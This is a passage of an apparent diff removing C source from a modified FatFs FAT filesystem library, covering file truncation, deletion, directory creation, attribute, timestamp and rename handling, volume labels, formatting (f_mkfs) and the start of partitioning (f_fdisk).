- if ((LD_DWORD(p) & 0x0FFFFFFF) == 0) n++; - p += 4; i -= 4; - } - } while (--clst); - } - fs->free_clust = n; - fs->fsi_flag |= 1; - *nclst = n; - } - } - LEAVE_FF(fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Truncate File */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_truncate ( - FIL* fp /* Pointer to the file object */ -) -{ - FRESULT res; - DWORD ncl; - - - res = validate(fp); /* Check validity of the object */ - if (res == FR_OK) { - if (fp->err) { /* Check error */ - res = (FRESULT)fp->err; - } else { - if (!(fp->flag & FA_WRITE)) /* Check access mode */ - res = FR_DENIED; - } - } - if (res == FR_OK) { - if (fp->fsize > fp->fptr) { - fp->fsize = fp->fptr; /* Set file size to current R/W point */ - fp->flag |= FA__WRITTEN; - if (fp->fptr == 0) { /* When set file size to zero, remove entire cluster chain */ - res = remove_chain(fp->fs, fp->sclust); - fp->sclust = 0; - } else { /* When truncate a part of the file, remove remaining clusters */ - ncl = get_fat(fp->fs, fp->clust); - res = FR_OK; - if (ncl == 0xFFFFFFFF) res = FR_DISK_ERR; - if (ncl == 1) res = FR_INT_ERR; - if (res == FR_OK && ncl < fp->fs->n_fatent) { - res = put_fat(fp->fs, fp->clust, 0x0FFFFFFF); - if (res == FR_OK) res = remove_chain(fp->fs, ncl); - } - } -#if !_FS_TINY - if (res == FR_OK && (fp->flag & FA__DIRTY)) { - if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) - res = FR_DISK_ERR; - else - fp->flag &= ~FA__DIRTY; - } -#endif - } - if (res != FR_OK) fp->err = (FRESULT)res; - } - - LEAVE_FF(fp->fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Delete a File or Directory */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_unlink ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const /*TCHAR*/char *path /* Pointer to the file or directory path */ -) -{ - FRESULT res; - DIR_ dj, sdj; - BYTE *dir; - DWORD dclst; - DEF_NAMEBUF; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, /*&path,*/ 1); - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the file path */ - if (_FS_RPATH && res == FR_OK && (dj.fn[NS] & NS_DOT)) - res = FR_INVALID_NAME; /* Cannot remove dot entry */ -#ifdef _FS_LOCK - if (res == FR_OK) res = chk_lock(&dj, 2); /* Cannot remove open file */ -#endif - if (res == FR_OK) { /* The object is accessible */ - dir = dj.dir; - if (!dir) { - res = FR_INVALID_NAME; /* Cannot remove the start directory */ - } else { - if (dir[DIR_Attr] & AM_RDO) - res = FR_DENIED; /* Cannot remove R/O object */ - } - dclst = ld_clust(dj.fs, dir); - if (res == FR_OK && (dir[DIR_Attr] & AM_DIR)) { /* Is it a sub-dir? */ - if (dclst < 2) { - res = FR_INT_ERR; - } else { - mem_cpy(&sdj, &dj, sizeof (DIR_)); /* Check if the sub-directory is empty or not */ - sdj.sclust = dclst; - res = dir_sdi(&sdj, 2); /* Exclude dot entries */ - if (res == FR_OK) { - res = dir_read(&sdj, 0); /* Read an item */ - if (res == FR_OK /* Not empty directory */ -#if _FS_RPATH - || dclst == dj.fs->cdir /* Current directory */ -#endif - ) res = FR_DENIED; - if (res == FR_NO_FILE) res = FR_OK; /* Empty */ - } - } - } - if (res == FR_OK) { - res = dir_remove(&dj); /* Remove the directory entry */ - if (res == FR_OK) { - if (dclst) /* Remove the cluster chain if exist */ - res = remove_chain(dj.fs, dclst); - if (res == FR_OK) res = sync_fs(dj.fs); - } - } - } - FREE_BUF(); - } - - LEAVE_FF(dj.fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Create a Directory */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_mkdir ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const /*TCHAR*/char *path /* Pointer to the directory path */ -) -{ - FRESULT res; - DIR_ dj; - BYTE *dir, n; - DWORD dsc, dcl, pcl, tm = get_fattime(); - DEF_NAMEBUF; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, /*&path,*/ 1); - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the file path */ - if (res == FR_OK) res = FR_EXIST; /* Any object with same name is already existing */ - if (_FS_RPATH && res == FR_NO_FILE && (dj.fn[NS] & NS_DOT)) - res = FR_INVALID_NAME; - if (res == FR_NO_FILE) { /* Can create a new directory */ - dcl = create_chain(dj.fs, 0); /* Allocate a cluster for the new directory table */ - res = FR_OK; - if (dcl == 0) res = FR_DENIED; /* No space to allocate a new cluster */ - if (dcl == 1) res = FR_INT_ERR; - if (dcl == 0xFFFFFFFF) res = FR_DISK_ERR; - if (res == FR_OK) /* Flush FAT */ - res = sync_window(dj.fs); - if (res == FR_OK) { /* Initialize the new directory table */ - dsc = clust2sect(dj.fs, dcl); - dir = dj.fs->win; - mem_set(dir, 0, SS(dj.fs)); - mem_set(dir+DIR_Name, ' ', 11); /* Create "." entry */ - dir[DIR_Name] = '.'; - dir[DIR_Attr] = AM_DIR; - ST_DWORD(dir+DIR_WrtTime, tm); - st_clust(dir, dcl); - mem_cpy(dir+SZ_DIR, dir, SZ_DIR); /* Create ".." entry */ - dir[SZ_DIR+1] = '.'; pcl = dj.sclust; - if (dj.fs->fs_type == FS_FAT32 && pcl == dj.fs->dirbase) - pcl = 0; - st_clust(dir+SZ_DIR, pcl); - for (n = dj.fs->csize; n; n--) { /* Write dot entries and clear following sectors */ - dj.fs->winsect = dsc++; - dj.fs->wflag = 1; - res = sync_window(dj.fs); - if (res != FR_OK) break; - mem_set(dir, 0, SS(dj.fs)); - } - } - if (res == FR_OK) res = dir_register(&dj); /* Register the object to the directoy */ - if (res != FR_OK) { - remove_chain(dj.fs, dcl); /* Could not register, remove cluster chain */ - } else { - dir = dj.dir; - dir[DIR_Attr] = AM_DIR; /* Attribute */ - ST_DWORD(dir+DIR_WrtTime, tm); /* Created time */ - st_clust(dir, dcl); /* Table start cluster */ - dj.fs->wflag = 1; - res = sync_fs(dj.fs); - } - } - FREE_BUF(); - } - - LEAVE_FF(dj.fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Change Attribute */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_chmod ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const /*TCHAR*/char *path, /* Pointer to the file path */ - BYTE value, /* Attribute bits */ - BYTE mask /* Attribute mask to change */ -) -{ - FRESULT res; - DIR_ dj; - BYTE *dir; - DEF_NAMEBUF; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, /*&path,*/ 1); - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the file path */ - FREE_BUF(); - if (_FS_RPATH && res == FR_OK && (dj.fn[NS] & NS_DOT)) - res = FR_INVALID_NAME; - if (res == FR_OK) { - dir = dj.dir; - if (!dir) { /* Is it a root directory? */ - res = FR_INVALID_NAME; - } else { /* File or sub directory */ - mask &= AM_RDO|AM_HID|AM_SYS|AM_ARC; /* Valid attribute mask */ - dir[DIR_Attr] = (value & mask) | (dir[DIR_Attr] & (BYTE)~mask); /* Apply attribute change */ - dj.fs->wflag = 1; - res = sync_fs(dj.fs); - } - } - } - - LEAVE_FF(dj.fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Change Timestamp */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_utime ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const /*TCHAR*/char *path, /* Pointer to the file/directory name */ - const FILINFO* fno /* Pointer to the time stamp to be set */ -) -{ - FRESULT res; - DIR_ dj; - BYTE *dir; - DEF_NAMEBUF; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, /*&path,*/ 1); - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the file path */ - FREE_BUF(); - if (_FS_RPATH && res == FR_OK && (dj.fn[NS] & NS_DOT)) - res = FR_INVALID_NAME; - if (res == FR_OK) { - dir = dj.dir; - if (!dir) { /* Root directory */ - res = FR_INVALID_NAME; - } else { /* File or sub-directory */ - ST_WORD(dir+DIR_WrtTime, fno->ftime); - ST_WORD(dir+DIR_WrtDate, fno->fdate); - dj.fs->wflag = 1; - res = sync_fs(dj.fs); - } - } - } - - LEAVE_FF(dj.fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Rename File/Directory */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_rename ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const /*TCHAR*/char *path_old, /* Pointer to the old name */ - const /*TCHAR*/char *path_new /* Pointer to the new name */ -) -{ - FRESULT res; - DIR_ djo, djn; - BYTE buf[21], *dir; - DWORD dw; - DEF_NAMEBUF; - - - /* Get logical drive number of the source object */ - djo.fs=fs; - res = find_volume(djo.fs, /*&path_old,*/ 1); - if (res == FR_OK) { - djn.fs = djo.fs; - INIT_BUF(djo); - res = follow_path(&djo, path_old); /* Check old object */ - if (_FS_RPATH && res == FR_OK && (djo.fn[NS] & NS_DOT)) - res = FR_INVALID_NAME; -#ifdef _FS_LOCK - if (res == FR_OK) res = chk_lock(&djo, 2); -#endif - if (res == FR_OK) { /* Old object is found */ - if (!djo.dir) { /* Is root dir? */ - res = FR_NO_FILE; - } else { - mem_cpy(buf, djo.dir+DIR_Attr, 21); /* Save the object information except for name */ - mem_cpy(&djn, &djo, sizeof (DIR_)); /* Check new object */ - res = follow_path(&djn, path_new); - if (res == FR_OK) res = FR_EXIST; /* The new object name is already existing */ - if (res == FR_NO_FILE) { /* Is it a valid path and no name collision? */ -/* Start critical section that any interruption can cause a cross-link */ - res = dir_register(&djn); /* Register the new entry */ - if (res == FR_OK) { - dir = djn.dir; /* Copy object information except for name */ - mem_cpy(dir+13, buf+2, 19); - dir[DIR_Attr] = buf[0] | AM_ARC; - djo.fs->wflag = 1; - if (djo.sclust != djn.sclust && (dir[DIR_Attr] & AM_DIR)) { /* Update .. entry in the directory if needed */ - dw = clust2sect(djo.fs, ld_clust(djo.fs, dir)); - if (!dw) { - res = FR_INT_ERR; - } else { - res = move_window(djo.fs, dw); - dir = djo.fs->win+SZ_DIR; /* .. entry */ - if (res == FR_OK && dir[1] == '.') { - dw = (djo.fs->fs_type == FS_FAT32 && djn.sclust == djo.fs->dirbase) ? 0 : djn.sclust; - st_clust(dir, dw); - djo.fs->wflag = 1; - } - } - } - if (res == FR_OK) { - res = dir_remove(&djo); /* Remove old entry */ - if (res == FR_OK) - res = sync_fs(djo.fs); - } - } -/* End critical section */ - } - } - } - FREE_BUF(); - } - - LEAVE_FF(djo.fs, res); -} - -#endif /* !_FS_READONLY */ -#endif /* _FS_MINIMIZE == 0 */ -#endif /* _FS_MINIMIZE <= 1 */ -#endif /* _FS_MINIMIZE <= 2 */ - - - -#if _USE_LABEL -/*-----------------------------------------------------------------------*/ -/* Get volume label */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_getlabel ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const TCHAR* path, /* Path name of the logical drive number */ - TCHAR* label, /* Pointer to a buffer to return the volume label */ - DWORD* sn /* Pointer to a variable to return the volume serial number */ -) -{ - FRESULT res; - DIR_ dj; - UINT i, j; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, &path, 0); - - /* Get volume label */ - if (res == FR_OK && label) { - dj.sclust = 0; /* Open root directory */ - res = dir_sdi(&dj, 0); - if (res == FR_OK) { - res = dir_read(&dj, 1); /* Get an entry with AM_VOL */ - if (res == FR_OK) { /* A volume label is exist */ -#if _LFN_UNICODE - WCHAR w; - i = j = 0; - do { - w = (i < 11) ? dj.dir[i++] : ' '; - if (IsDBCS1(w) && i < 11 && IsDBCS2(dj.dir[i])) - w = w << 8 | dj.dir[i++]; - label[j++] = ff_convert(w, 1); /* OEM -> Unicode */ - } while (j < 11); -#else - mem_cpy(label, dj.dir, 11); -#endif - j = 11; - do { - label[j] = 0; - if (!j) break; - } while (label[--j] == ' '); - } - if (res == FR_NO_FILE) { /* No label, return nul string */ - label[0] = 0; - res = FR_OK; - } - } - } - - /* Get volume serial number */ - if (res == FR_OK && sn) { - res = move_window(dj.fs, dj.fs->volbase); - if (res == FR_OK) { - i = dj.fs->fs_type == FS_FAT32 ? BS_VolID32 : BS_VolID; - *sn = LD_DWORD(&dj.fs->win[i]); - } - } - - LEAVE_FF(dj.fs, res); -} - - - -#if !_FS_READONLY -/*-----------------------------------------------------------------------*/ -/* Set volume label */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_setlabel ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const TCHAR* label /* Pointer to the volume label to set */ -) -{ - FRESULT res; - DIR_ dj; - BYTE vn[11]; - UINT i, j, sl; - WCHAR w; - DWORD tm; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, &label, 1); - if (res) LEAVE_FF(dj.fs, res); - - /* Create a volume label in directory form */ - vn[0] = 0; - for (sl = 0; label[sl]; sl++) ; /* Get name length */ - for ( ; sl && label[sl-1] == ' '; sl--) ; /* Remove trailing spaces */ - if (sl) { /* Create volume label in directory form */ - i = j = 0; - do { -#if _LFN_UNICODE - w = ff_convert(ff_wtoupper(label[i++]), 0); -#else - w = (BYTE)label[i++]; - if (IsDBCS1(w)) - w = (j < 10 && i < sl && IsDBCS2(label[i])) ? w << 8 | (BYTE)label[i++] : 0; -#if _USE_LFN - w = ff_convert(ff_wtoupper(ff_convert(w, 1)), 0); -#else - if (IsLower(w)) w -= 0x20; /* To upper ASCII characters */ -#ifdef _EXCVT - if (w >= 0x80) w = ExCvt[w - 0x80]; /* To upper extended characters (SBCS cfg) */ -#else - if (!_DF1S && w >= 0x80) w = 0; /* Reject extended characters (ASCII cfg) */ -#endif -#endif -#endif - if (!w || chk_chr("\"*+,.:;<=>\?[]|\x7F", w) || j >= (UINT)((w >= 0x100) ? 10 : 11)) /* Reject invalid characters for volume label */ - LEAVE_FF(dj.fs, FR_INVALID_NAME); - if (w >= 0x100) vn[j++] = (BYTE)(w >> 8); - vn[j++] = (BYTE)w; - } while (i < sl); - while (j < 11) vn[j++] = ' '; - } - - /* Set volume label */ - dj.sclust = 0; /* Open root directory */ - res = dir_sdi(&dj, 0); - if (res == FR_OK) { - res = dir_read(&dj, 1); /* Get an entry with AM_VOL */ - if (res == FR_OK) { /* A volume label is found */ - if (vn[0]) { - mem_cpy(dj.dir, vn, 11); /* Change the volume label name */ - tm = get_fattime(); - ST_DWORD(dj.dir+DIR_WrtTime, tm); - } else { - dj.dir[0] = DDE; /* Remove the volume label */ - } - dj.fs->wflag = 1; - res = sync_fs(dj.fs); - } else { /* No volume label is found or error */ - if (res == FR_NO_FILE) { - res = FR_OK; - if (vn[0]) { /* Create volume label as new */ - res = dir_alloc(&dj, 1); /* Allocate an entry for volume label */ - if (res == FR_OK) { - mem_set(dj.dir, 0, SZ_DIR); /* Set volume label */ - mem_cpy(dj.dir, vn, 11); - dj.dir[DIR_Attr] = AM_VOL; - tm = get_fattime(); - ST_DWORD(dj.dir+DIR_WrtTime, tm); - dj.fs->wflag = 1; - res = sync_fs(dj.fs); - } - } - } - } - } - - LEAVE_FF(dj.fs, res); -} - -#endif /* !_FS_READONLY */ -#endif /* _USE_LABEL */ - - - -/*-----------------------------------------------------------------------*/ -/* Forward data to the stream directly (available on only tiny cfg) */ -/*-----------------------------------------------------------------------*/ -#if _USE_FORWARD && _FS_TINY - -FRESULT f_forward ( - FIL* fp, /* Pointer to the file object */ - UINT (*func)(const BYTE*,UINT), /* Pointer to the streaming function */ - UINT btf, /* Number of bytes to forward */ - UINT* bf /* Pointer to number of bytes forwarded */ -) -{ - FRESULT res; - DWORD remain, clst, sect; - UINT rcnt; - BYTE csect; - - - *bf = 0; /* Clear transfer byte counter */ - - res = validate(fp); /* Check validity of the object */ - if (res != FR_OK) LEAVE_FF(fp->fs, res); - if (fp->err) /* Check error */ - LEAVE_FF(fp->fs, (FRESULT)fp->err); - if (!(fp->flag & FA_READ)) /* Check access mode */ - LEAVE_FF(fp->fs, FR_DENIED); - - remain = fp->fsize - fp->fptr; - if (btf > remain) btf = (UINT)remain; /* Truncate btf by remaining bytes */ - - for ( ; btf && (*func)(0, 0); /* Repeat until all data transferred or stream becomes busy */ - fp->fptr += rcnt, *bf += rcnt, btf -= rcnt) { - csect = (BYTE)(fp->fptr / SS(fp->fs) & (fp->fs->csize - 1)); /* Sector offset in the cluster */ - if ((fp->fptr % SS(fp->fs)) == 0) { /* On the sector boundary? */ - if (!csect) { /* On the cluster boundary? */ - clst = (fp->fptr == 0) ? /* On the top of the file? */ - fp->sclust : get_fat(fp->fs, fp->clust); - if (clst <= 1) ABORT(fp->fs, FR_INT_ERR); - if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); - fp->clust = clst; /* Update current cluster */ - } - } - sect = clust2sect(fp->fs, fp->clust); /* Get current data sector */ - if (!sect) ABORT(fp->fs, FR_INT_ERR); - sect += csect; - if (move_window(fp->fs, sect)) /* Move sector window */ - ABORT(fp->fs, FR_DISK_ERR); - fp->dsect = sect; - rcnt = SS(fp->fs) - (WORD)(fp->fptr % SS(fp->fs)); /* Forward data from sector window */ - if (rcnt > btf) rcnt = btf; - rcnt = (*func)(&fp->fs->win[(WORD)fp->fptr % SS(fp->fs)], rcnt); - if (!rcnt) ABORT(fp->fs, FR_INT_ERR); - } - - LEAVE_FF(fp->fs, FR_OK); -} -#endif /* _USE_FORWARD */ - - - -#if _USE_MKFS && !_FS_READONLY -/*-----------------------------------------------------------------------*/ -/* Create File System on the Drive */ -/*-----------------------------------------------------------------------*/ -#define N_ROOTDIR 512 /* Number of root directory entries for FAT12/16 */ -#define N_FATS 1 /* Number of FAT copies (1 or 2) */ - - -FRESULT f_mkfs ( - const TCHAR* path, /* Logical drive number */ - BYTE sfd, /* Partitioning rule 0:FDISK, 1:SFD */ - UINT au /* Allocation unit [bytes] */ -) -{ - static const WORD vst[] = { 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 0}; - static const WORD cst[] = {32768, 16384, 8192, 4096, 2048, 16384, 8192, 4096, 2048, 1024, 512}; - int vol; - BYTE fmt, md, sys, *tbl, pdrv, part; - DWORD n_clst, vs, n, wsect; - UINT i; - DWORD b_vol, b_fat, b_dir, b_data; /* LBA */ - DWORD n_vol, n_rsv, n_fat, n_dir; /* Size */ - FATFS *fs; - DSTATUS stat; - - - /* Check mounted drive and clear work area */ - vol = get_ldnumber(&path); - if (vol < 0) return FR_INVALID_DRIVE; - if (sfd > 1) return FR_INVALID_PARAMETER; - if (au & (au - 1)) return FR_INVALID_PARAMETER; - fs = FatFs[vol]; - if (!fs) return FR_NOT_ENABLED; - fs->fs_type = 0; - pdrv = LD2PD(vol); /* Physical drive */ - part = LD2PT(vol); /* Partition (0:auto detect, 1-4:get from partition table)*/ - - /* Get disk statics */ - stat = RES_OK;//disk_initialize(pdrv); - if (stat & STA_NOINIT) return FR_NOT_READY; - if (stat & STA_PROTECT) return FR_WRITE_PROTECTED; -#if _MAX_SS != 512 /* Get disk sector size */ - if (disk_ioctl(pdrv, GET_SECTOR_SIZE, &SS(fs)) != RES_OK || SS(fs) > _MAX_SS) - return FR_DISK_ERR; -#endif - if (_MULTI_PARTITION && part) { - /* Get partition information from partition table in the MBR */ - if (disk_read(pdrv, fs->win, 0, 1)) return FR_DISK_ERR; - if (LD_WORD(fs->win+BS_55AA) != 0xAA55) return FR_MKFS_ABORTED; - tbl = &fs->win[MBR_Table + (part - 1) * SZ_PTE]; - if (!tbl[4]) return FR_MKFS_ABORTED; /* No partition? */ - b_vol = LD_DWORD(tbl+8); /* Volume start sector */ - n_vol = LD_DWORD(tbl+12); /* Volume size */ - } else { - /* Create a partition in this function */ - if (disk_ioctl(pdrv, GET_SECTOR_COUNT, &n_vol) != RES_OK || n_vol < 128) - return FR_DISK_ERR; - b_vol = (sfd) ? 0 : 63; /* Volume start sector */ - n_vol -= b_vol; /* Volume size */ - } - - if (!au) { /* AU auto selection */ - vs = n_vol / (2000 / (SS(fs) / 512)); - for (i = 0; vs < vst[i]; i++) ; - au = cst[i]; - } - au /= SS(fs); /* Number of sectors per cluster */ - if (au == 0) au = 1; - if (au > 128) au = 128; - - /* Pre-compute number of clusters and FAT sub-type */ - n_clst = n_vol / au; - fmt = FS_FAT12; - if (n_clst >= MIN_FAT16) fmt = FS_FAT16; - if (n_clst >= MIN_FAT32) fmt = FS_FAT32; - - /* Determine offset and size of FAT structure */ - if (fmt == FS_FAT32) { - n_fat = ((n_clst * 4) + 8 + SS(fs) - 1) / SS(fs); - n_rsv = 32; - n_dir = 0; - } else { - n_fat = (fmt == FS_FAT12) ? (n_clst * 3 + 1) / 2 + 3 : (n_clst * 2) + 4; - n_fat = (n_fat + SS(fs) - 1) / SS(fs); - n_rsv = 1; - n_dir = (DWORD)N_ROOTDIR * SZ_DIR / SS(fs); - } - b_fat = b_vol + n_rsv; /* FAT area start sector */ - b_dir = b_fat + n_fat * N_FATS; /* Directory area start sector */ - b_data = b_dir + n_dir; /* Data area start sector */ - if (n_vol < b_data + au - b_vol) return FR_MKFS_ABORTED; /* Too small volume */ - - /* Align data start sector to erase block boundary (for flash memory media) */ - if (disk_ioctl(pdrv, GET_BLOCK_SIZE, &n) != RES_OK || !n || n > 32768) n = 1; - n = (b_data + n - 1) & ~(n - 1); /* Next nearest erase block from current data start */ - n = (n - b_data) / N_FATS; - if (fmt == FS_FAT32) { /* FAT32: Move FAT offset */ - n_rsv += n; - b_fat += n; - } else { /* FAT12/16: Expand FAT size */ - n_fat += n; - } - - /* Determine number of clusters and final check of validity of the FAT sub-type */ - n_clst = (n_vol - n_rsv - n_fat * N_FATS - n_dir) / au; - if ( (fmt == FS_FAT16 && n_clst < MIN_FAT16) - || (fmt == FS_FAT32 && n_clst < MIN_FAT32)) - return FR_MKFS_ABORTED; - - /* Determine system ID in the partition table */ - if (fmt == FS_FAT32) { - sys = 0x0C; /* FAT32X */ - } else { - if (fmt == FS_FAT12 && n_vol < 0x10000) { - sys = 0x01; /* FAT12(<65536) */ - } else { - sys = (n_vol < 0x10000) ? 0x04 : 0x06; /* FAT16(<65536) : FAT12/16(>=65536) */ - } - } - - if (_MULTI_PARTITION && part) { - /* Update system ID in the partition table */ - tbl = &fs->win[MBR_Table + (part - 1) * SZ_PTE]; - tbl[4] = sys; - if (disk_write(pdrv, fs->win, 0, 1)) /* Write it to teh MBR */ - return FR_DISK_ERR; - md = 0xF8; - } else { - if (sfd) { /* No partition table (SFD) */ - md = 0xF0; - } else { /* Create partition table (FDISK) */ - mem_set(fs->win, 0, SS(fs)); - tbl = fs->win+MBR_Table; /* Create partition table for single partition in the drive */ - tbl[1] = 1; /* Partition start head */ - tbl[2] = 1; /* Partition start sector */ - tbl[3] = 0; /* Partition start cylinder */ - tbl[4] = sys; /* System type */ - tbl[5] = 254; /* Partition end head */ - n = (b_vol + n_vol) / 63 / 255; - tbl[6] = (BYTE)(n >> 2 | 63); /* Partition end sector */ - tbl[7] = (BYTE)n; /* End cylinder */ - ST_DWORD(tbl+8, 63); /* Partition start in LBA */ - ST_DWORD(tbl+12, n_vol); /* Partition size in LBA */ - ST_WORD(fs->win+BS_55AA, 0xAA55); /* MBR signature */ - if (disk_write(pdrv, fs->win, 0, 1)) /* Write it to the MBR */ - return FR_DISK_ERR; - md = 0xF8; - } - } - - /* Create BPB in the VBR */ - tbl = fs->win; /* Clear sector */ - mem_set(tbl, 0, SS(fs)); - mem_cpy(tbl, "\xEB\xFE\x90" "MSDOS5.0", 11);/* Boot jump code, OEM name */ - i = SS(fs); /* Sector size */ - ST_WORD(tbl+BPB_BytsPerSec, i); - tbl[BPB_SecPerClus] = (BYTE)au; /* Sectors per cluster */ - ST_WORD(tbl+BPB_RsvdSecCnt, n_rsv); /* Reserved sectors */ - tbl[BPB_NumFATs] = N_FATS; /* Number of FATs */ - i = (fmt == FS_FAT32) ? 0 : N_ROOTDIR; /* Number of root directory entries */ - ST_WORD(tbl+BPB_RootEntCnt, i); - if (n_vol < 0x10000) { /* Number of total sectors */ - ST_WORD(tbl+BPB_TotSec16, n_vol); - } else { - ST_DWORD(tbl+BPB_TotSec32, n_vol); - } - tbl[BPB_Media] = md; /* Media descriptor */ - ST_WORD(tbl+BPB_SecPerTrk, 63); /* Number of sectors per track */ - ST_WORD(tbl+BPB_NumHeads, 255); /* Number of heads */ - ST_DWORD(tbl+BPB_HiddSec, b_vol); /* Hidden sectors */ - n = get_fattime(); /* Use current time as VSN */ - if (fmt == FS_FAT32) { - ST_DWORD(tbl+BS_VolID32, n); /* VSN */ - ST_DWORD(tbl+BPB_FATSz32, n_fat); /* Number of sectors per FAT */ - ST_DWORD(tbl+BPB_RootClus, 2); /* Root directory start cluster (2) */ - ST_WORD(tbl+BPB_FSInfo, 1); /* FSINFO record offset (VBR+1) */ - ST_WORD(tbl+BPB_BkBootSec, 6); /* Backup boot record offset (VBR+6) */ - tbl[BS_DrvNum32] = 0x80; /* Drive number */ - tbl[BS_BootSig32] = 0x29; /* Extended boot signature */ - mem_cpy(tbl+BS_VolLab32, "NO NAME " "FAT32 ", 19); /* Volume label, FAT signature */ - } else { - ST_DWORD(tbl+BS_VolID, n); /* VSN */ - ST_WORD(tbl+BPB_FATSz16, n_fat); /* Number of sectors per FAT */ - tbl[BS_DrvNum] = 0x80; /* Drive number */ - tbl[BS_BootSig] = 0x29; /* Extended boot signature */ - mem_cpy(tbl+BS_VolLab, "NO NAME " "FAT ", 19); /* Volume label, FAT signature */ - } - ST_WORD(tbl+BS_55AA, 0xAA55); /* Signature (Offset is fixed here regardless of sector size) */ - if (disk_write(pdrv, tbl, b_vol, 1)) /* Write it to the VBR sector */ - return FR_DISK_ERR; - if (fmt == FS_FAT32) /* Write backup VBR if needed (VBR+6) */ - disk_write(pdrv, tbl, b_vol + 6, 1); - - /* Initialize FAT area */ - wsect = b_fat; - for (i = 0; i < N_FATS; i++) { /* Initialize each FAT copy */ - mem_set(tbl, 0, SS(fs)); /* 1st sector of the FAT */ - n = md; /* Media descriptor byte */ - if (fmt != FS_FAT32) { - n |= (fmt == FS_FAT12) ? 0x00FFFF00 : 0xFFFFFF00; - ST_DWORD(tbl+0, n); /* Reserve cluster #0-1 (FAT12/16) */ - } else { - n |= 0xFFFFFF00; - ST_DWORD(tbl+0, n); /* Reserve cluster #0-1 (FAT32) */ - ST_DWORD(tbl+4, 0xFFFFFFFF); - ST_DWORD(tbl+8, 0x0FFFFFFF); /* Reserve cluster #2 for root directory */ - } - if (disk_write(pdrv, tbl, wsect++, 1)) - return FR_DISK_ERR; - mem_set(tbl, 0, SS(fs)); /* Fill following FAT entries with zero */ - for (n = 1; n < n_fat; n++) { /* This loop may take a time on FAT32 volume due to many single sector writes */ - if (disk_write(pdrv, tbl, wsect++, 1)) - return FR_DISK_ERR; - } - } - - /* Initialize root directory */ - i = (fmt == FS_FAT32) ? au : n_dir; - do { - if (disk_write(pdrv, tbl, wsect++, 1)) - return FR_DISK_ERR; - } while (--i); - -#if _USE_ERASE /* Erase data area if needed */ - { - DWORD eb[2]; - - eb[0] = wsect; eb[1] = wsect + (n_clst - ((fmt == FS_FAT32) ? 1 : 0)) * au - 1; - disk_ioctl(pdrv, CTRL_ERASE_SECTOR, eb); - } -#endif - - /* Create FSINFO if needed */ - if (fmt == FS_FAT32) { - ST_DWORD(tbl+FSI_LeadSig, 0x41615252); - ST_DWORD(tbl+FSI_StrucSig, 0x61417272); - ST_DWORD(tbl+FSI_Free_Count, n_clst - 1); /* Number of free clusters */ - ST_DWORD(tbl+FSI_Nxt_Free, 2); /* Last allocated cluster# */ - ST_WORD(tbl+BS_55AA, 0xAA55); - disk_write(pdrv, tbl, b_vol + 1, 1); /* Write original (VBR+1) */ - disk_write(pdrv, tbl, b_vol + 7, 1); /* Write backup (VBR+7) */ - } - - return (disk_ioctl(pdrv, CTRL_SYNC, 0) == RES_OK) ? FR_OK : FR_DISK_ERR; -} - - - -#if _MULTI_PARTITION -/*-----------------------------------------------------------------------*/ -/* Divide Physical Drive */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_fdisk ( - BYTE pdrv, /* Physical drive number */ - const DWORD szt[], /* Pointer to the size table for each partitions */ - void* work /* Pointer to the working buffer */ -) -{ - UINT i, n, sz_cyl, tot_cyl, b_cyl, e_cyl, p_cyl; - BYTE s_hd, e_hd, *p, *buf = (BYTE*)work; - DSTATUS stat; - DWORD sz_disk, sz_part, s_part; - - - stat = RES_OK;//disk_initialize(pdrv); - if (stat & STA_NOINIT) return FR_NOT_READY; - if (stat & STA_PROTECT) return FR_WRITE_PROTECTED; - if (disk_ioctl(pdrv, GET_SECTOR_COUNT, &sz_disk)) return FR_DISK_ERR; - - /* Determine CHS in the table regardless of the drive geometry */ - for (n = 16; n < 256 && sz_disk / n / 63 > 1024; n *= 2) ; - if (n == 256) n--; - e_hd = n - 1; - sz_cyl = 63 * n; - tot_cyl = sz_disk / sz_cyl; - - /* Create partition table */ - mem_set(buf, 0, _MAX_SS); - p = buf + MBR_Table; b_cyl = 0; - for (i = 0; i < 4; i++, p += SZ_PTE) { - p_cyl = (szt[i] <= 100U) ? (DWORD)tot_cyl * szt[i] / 100 : szt[i] / sz_cyl; - if (!p_cyl) continue; - s_part = (DWORD)sz_cyl * b_cyl; - sz_part = (DWORD)sz_cyl * p_cyl; - if (i == 0) { /* Exclude first track of cylinder 0 */ - s_hd = 1; - s_part += 63; sz_part -= 63; - } else { - s_hd = 0; - } - e_cyl = b_cyl + p_cyl - 1; - if (e_cyl >= 